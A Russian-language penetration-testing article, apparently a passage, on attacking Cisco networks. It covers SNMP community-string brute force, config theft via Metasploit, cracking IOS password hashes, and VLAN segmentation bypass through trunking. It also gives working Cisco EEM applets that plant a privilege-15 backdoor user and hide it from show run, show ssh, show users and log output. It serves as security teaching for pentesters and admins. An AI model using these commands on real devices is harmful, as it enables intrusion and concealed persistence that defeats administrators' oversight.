SNMP использует протокол транспортного уровня UDP с номерами портов 161/UDP и 162/UDP. Для обращения агентов SNMP к серверу используются так называемые community strings. Это, скажем так, специальные пароли для взаимодействия с SNMP-сервером. У community strings есть права либо RO (read-only, только чтение), либо RW (read-write — и чтение, и запись).
На самом деле SNMP может не только отслеживать состояние оборудования, но и полноценно им управлять: дампить конфиги, изменять конфигурацию и так далее. Если пентестер сможет перебрать значение community strings, он фактически получает доступ к оборудованию. Впрочем, все зависит от того, какую строку он сбрутит — на RO или на RW.
WWW
Работу протокола SNMP я описал в общих чертах, рекомендую тебе изучить следующие материалы, чтобы было понятнее, как работает SNMP под капотом.
Брутфорс community-строк можно реализовать с помощью утилиты onesixtyone. В качестве входных данных она будет принимать словарь для брутфорса и IP-адреса целевых хостов. В качестве целей выступят:
necreas1ng@Inguz:~/snmp$ onesixtyone -c communitystrings -i targets
Мы выясняли, какие community strings используются на тех устройствах. Это открывает нам дорогу для эксплуатации.
cisco_config_tftp
С помощью фреймворка Metasploit, а именно модуля cisco_config_tftp
, можно выдернуть конфигурацию устройства, зная значение community string. Строка, имеющая права на RW, — private
.
- значение строки, имеющей права на RW (
COMMUNITY
); - IP-адрес атакующей системы (
LHOST
); - IP-адрес целевого оборудования (
RHOSTS
); - путь, по которому модуль выведет конфигурацию устройства (
OUTPUTDIR
).
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50 msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/snmp msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit
После запуска модуля в указанную папку будет выкачана конфигурация хоста с адресом 10.10.100.10
(10.10.100.10.txt
).
snmp_enum
С помощью этого модуля можно узнать информацию о целевом оборудовании. Все абсолютно то же самое: указываем COMMUNITY
(кстати, подойдет даже строка с правами RO) и IP-адрес целевого устройства.
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
ПОСТЭКСПЛУАТАЦИЯ ВЗЛОМАННОГО УСТРОЙСТВА
Bruteforce hashes
Когда ты перечисляешь конфигурацию устройства, есть смысл попытаться сбрутить хеши паролей. Вдруг тебе удастся сбрутить хеш пароля той учетной записи, которая имеет максимальные привилегии. В Cisco IOS есть несколько типов паролей, которые хранятся в зашифрованном виде. Табличка ниже сориентирует тебя по типам хешей, как брутить и сколько времени понадобится.
Теперь приступаем к самому брутфорсу. В выводе команды show run
ты наверняка наткнешься на эти строчки.
Брутфорс хешей я проведу через утилиту John the Ripper. Немного отформатирую хеши, чтобы «Джон» смог распознать сами хеши внутри файла, который мы будем подавать в качестве входных данных.
Начинаем брутфорс. С помощью ключа --wordlist
указываем путь до словаря. «Джон» сам определит тип хешей внутри файла.
Полученные креды: anxious:Secret123
, lies:P@ssw0rd
.
Попробуем зайти на маршрутизатор 10.10.10.100
от имени пользователя lies
.
Cisco EEM
Cisco EEM — это, скажем так, «язык программирования», с помощью которого можно писать сценарии для Cisco IOS и автоматизировать рутинные задачи. В рамках пентеста Cisco EEM поможет нам спрятать созданного нами пользователя на взломанном устройстве.
Но! У такого метода есть и свои недостатки:
- есть небольшая вероятность спалиться в логах сервера SYSLOG или SNMP;
- если сетевой инженер тоже использует Cisco EEM, он может заподозрить что‑то неладное.
Сначала нам нужно создать самого пользователя, который будет применяться для закрепления на оборудовании. Следи, чтобы у ника тоже был префикс hidden_
. С помощью этого префикса мы и будем прятать созданного нами пользователя по маске | hidden
:
Owned(config)# username hidden_grimoire privilege 15 secret youcantseewhatyouwannasee
Прячемся от вывода команды show run
Эту команду очень часто применяют сетевые инженеры, она выводит конфигурацию устройства, которая используется в данный момент.
Owned(config)# event manager applet hide_from_showrunOwned(config-applet)# event cli pattern "show run" sync yesOwned(config-applet)# action 0.0 cli command "enable"Owned(config-applet)# action 1.0 cli command "show run | exclude hidden | event | action"Owned(config-applet)# action 2.0 puts "$_cli_result_showrunapplet"
Прячемся от вывода команды show ssh
А эта команда выводит активных в данный момент пользователей, подключенных через SSH.
Owned(config)# event manager applet hide_from_showsshOwned(config-applet)# event cli pattern "show ssh" sync yesOwned(config-applet)# action 0.0 cli command "enable"Owned(config-applet)# action 1.0 cli command "show ssh | exclude hidden"Owned(config-applet)# action 2.0 puts "$_cli_result_showsshapplet"
Прячемся от вывода команды show users
Выводит активных в данный момент пользователей, подключенных через VTY. Обычно это удаленные сессии Telnet и SSH.
Owned(config)# event manager applet hide_from_showusersOwned(config-applet)# event cli pattern "show users" sync yesOwned(config-applet)# action 0.0 cli command "enable"Owned(config-applet)# action 1.0 cli command "show users | exclude hidden"Owned(config-applet)# action 2.0 puts "$_cli_result_showusersapplet"
Прячемся от вывода команды show log (локальное логирование Cisco IOS)
Owned(config)# event manager applet hide_from_showlogOwned(config-applet)# event cli pattern "show log" sync yesOwned(config-applet)# action 0.0 cli command "enable"Owned(config-applet)# action 1.0 cli command "show log | exclude HA_EM | hidden"Owned(config-applet)# action 2.0 puts "$_cli_result_showlogapplet"
У апплетов EEM много интересных функций, советую не ограничиваться этими способами. Только не доведи бедного сетевика до инфаркта с этими апплетами!
Lateral VLAN Segmentation Bypass
Если ты получил доступ к коммутатору, к которому ты подключен напрямую, у тебя появляется возможность обхода VLAN-сегментации внутри сети. Достаточно переключить порт в режим магистрального канала (иначе называемый транком), создать виртуальные интерфейсы с идентификаторами целевых VLAN-сетей и настроить IP-адрес. Можно попробовать запросить адрес динамически (DHCP), а можно настроить статически. Смотря какой случай.
Сначала нужно выяснить, к какому именно порту ты подключен. Это делается через CDP-сообщения, либо можешь поискать порт по маске include
.
Если вдруг CDP отключен, можно попробовать поискать порт по нашему MAC-адресу.
SW1(config)# show mac address-table | include 0050.0000.0500
Перед тем как переключиться в режим транка, необходимо перечислить существующие сети VLAN, выяснить их идентификаторы. Потом эти идентификаторы мы будем вешать на свой интерфейс, чтобы получать доступ к сетям VLAN. Таким образом, благодаря транку мы можем получить доступ в любую сеть VLAN. Кстати говоря, порт, к которому мы подключены, принадлежит сети VLAN 10.
Приступим. Входим в режим конфигурации интерфейса и переходим в транковый режим.
SW1(config)# interface GigabitEthernet 0/2SW1(config-if)# switchport trunk encapsulation dot1qSW1(config-if)# switchport mode trunk
Во время переключения в режим магистрального канала теряется связность. Но скоро я это исправлю.
Создаем виртуальные интерфейсы и «вешаем» на них VLAN ID, а затем поднимаем их.
necreas1ng@Inguz:~$ sudo vconfig add eth0 10 necreas1ng@Inguz:~$ sudo vconfig add eth0 20 necreas1ng@Inguz:~$ sudo vconfig add eth0 50 necreas1ng@Inguz:~$ sudo vconfig add eth0 60 necreas1ng@Inguz:~$ sudo ifconfig eth0.10 up necreas1ng@Inguz:~$ sudo ifconfig eth0.20 up necreas1ng@Inguz:~$ sudo ifconfig eth0.50 up necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up
Теперь нужно запросить адрес по DHCP. Но если в твоем случае не будет такой возможности, можно настроить адрес статически.
necreas1ng@Inguz:~$ sudo dhclient -v eth0.10 necreas1ng@Inguz:~$ sudo dhclient -v eth0.20 necreas1ng@Inguz:~$ sudo dhclient -v eth0.50 necreas1ng@Inguz:~$ sudo dhclient -v eth0.60
Пример настройки статического IP-адреса на интерфейсе (VLAN 10):
necreas1ng@Inguz:~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
Для проверки связи инициирую ICMP-запросы до шлюзов по умолчанию для сетей VLAN 10, 20, 50, 60.
В итоге я обошел VLAN-сегментацию и могу пробиться в любую VLAN-сеть, что развязывает мне руки для следующих шагов.
Configuration Enumeration
Классическое перечисление конфигурации
С помощью команды show run
можно выяснить, какая конфигурация исполняется в данный момент. Это раскрывает некоторые особенности инфраструктуры. Возможно, эта информация приведет тебя к более легкой «победе» во время пентеста. Например, вдруг ты обнаружишь использование AAA-сервера, что дает еще один вектор атаки.
Cisco IOS ver. enumeration
Будет полезно узнать версию Cisco IOS на устройстве. С помощью этой информации пентестер сможет перебрать версию Cisco IOS и, узнав ее, эксплуатировать уязвимости. Вдруг он попал на роутер с учеткой read-only, а потенциальное наличие уязвимости даст ему LPE? Кто знает...
CCAT
CCAT (Cisco Config Analysis Tool) — это специальный инструмент, созданный для анализа файлов конфигурации оборудования Cisco на предмет брешей в безопасности. Он поможет автоматизировать процесс поиска мисконфигураций безопасности и будет полезен как пентестерам, так и сетевым администраторам.
necreas1ng@Inguz:~/ccat$ python3 ccat.py showrunfromsw1.txt
ВЫВОДЫ
Вот какие кошмары могут возникнуть в сетях, где используется оборудование Cisco, если их администрируют недальновидные сетевые инженеры. На это исследование я потратил полтора месяца и был удивлен, сколько векторов существует при атаке на Cisco-based-сети. Очень надеюсь, что мое исследование подарит пентестерам новые векторы атак, а сетевые администраторы задумаются о защищенности своих сетей и примут меры.